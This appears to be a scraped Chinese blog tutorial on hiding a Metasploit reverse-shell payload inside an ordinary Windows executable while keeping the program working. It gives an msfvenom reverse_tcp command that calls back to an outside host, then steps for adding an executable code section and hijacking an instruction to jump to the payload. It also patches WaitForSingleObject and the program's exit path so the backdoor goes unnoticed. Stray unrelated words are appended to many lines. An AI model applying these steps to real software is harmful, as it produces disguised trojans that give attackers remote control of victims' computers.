在不影響程序使用的狀況下添加shellcode

參考

在文章Backdooring PE Files with Shellcode中介紹了一種在正常程序中注入shellcode的方式,讓程序之前的邏輯照常可以正常運行,下面復現一下並解決幾個小問題。shell

示例程序代碼

這裏直接編譯一個32位的HelloWorld程序爲例:windows

#include <stdio.h>

int main()
{
	puts("Hello World!");
	return 0;
}

編譯後的exe,能夠使用CFF Explorer查看相關信息。tcp

大體步驟

少繞彎子,補充一下通用步驟:工具

  1. 利用msf生成一個payload,保存成一個bin文件,命令:msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C
  2. 經過010Editor等編輯工具在bin文件的先後各插入20-40個字節,以90填充
  3. 在目標exe中添加一個新的代碼段,將bin的內容導入,並設置可讀、可寫、可執行、包含代碼等屬性標誌
  4. 更新header大小以及重建PE頭
  5. 使用x32dbg調試exe並查看新加代碼段的基址,例如是0x004A0000
  6. 一個5字節長度的指令,例如:call 0x00471B50,覆蓋成jmp 0x004A0000
  7. 記住下一條指令的位置,例如:0x00491EF8,後面恢復程序正常邏輯的時候要用
  8. 編輯代碼段開頭,用pushadpushfd指令覆蓋開頭2個字節
  9. 調試exe,觀察pushfd以後的ESP值,例如0x010FFDBC,以及shellcode執行結束時ESP值,例如0x010FFBB8,發現少了0x204
  10. 爲了可以恢復以前的寄存器狀態,在shellcode最後追加指令add esp, 0x204
  11. 追加popfdpopad指令,和push順序相反
  12. 將第6步中覆蓋前的指令追加到popad以後
  13. 最後,恢復以前的運行邏輯,追加jmp 0x00491EF8指令,跳到第7步記錄位置

問題1:到12和13步老是不能跳到正確的位置

注意三點:佈局

  1. 第6步和第7步獲取的值要保證當前調試的PE頭大小是和最終的PE頭大小是一致的,檢查第4步操做
  2. 每次調試exe的時候,基址可能會發生變化,因此複製的指令只能用於修改當前調式實例
  3. 在複製jmp指令的機器碼的時候,注意不要和目標跳轉位置太近,會複製成短地址的指令

問題2:保證步驟沒問題以後,程序仍然不能恢復正常邏輯

經過調試將發生阻塞的操做進行nop,例如WaitForSingleObjectmsf的payload須要將4e 56 46 ff替換成80 56 80 ff線程

原來給WaitForSingleObject傳的參數是-1,會阻塞線程,想辦法改爲0就行,這裏將dec esi操做nop掉了,push esi就是03d

問題3:在監聽端失聯的狀況下,程序長時間阻塞後程序終止

應該是檢查服務端失聯的狀況下直接終止程序了,經過調試找到終止位置nop掉便可調試

問題4:在哪找代碼段的基址

除了參考文章中提到的經過文件偏移計算,還能夠直接利用x32dbg的內存佈局直接查看code

最後效果

省略。。。blog

相關文章
相關標籤/搜索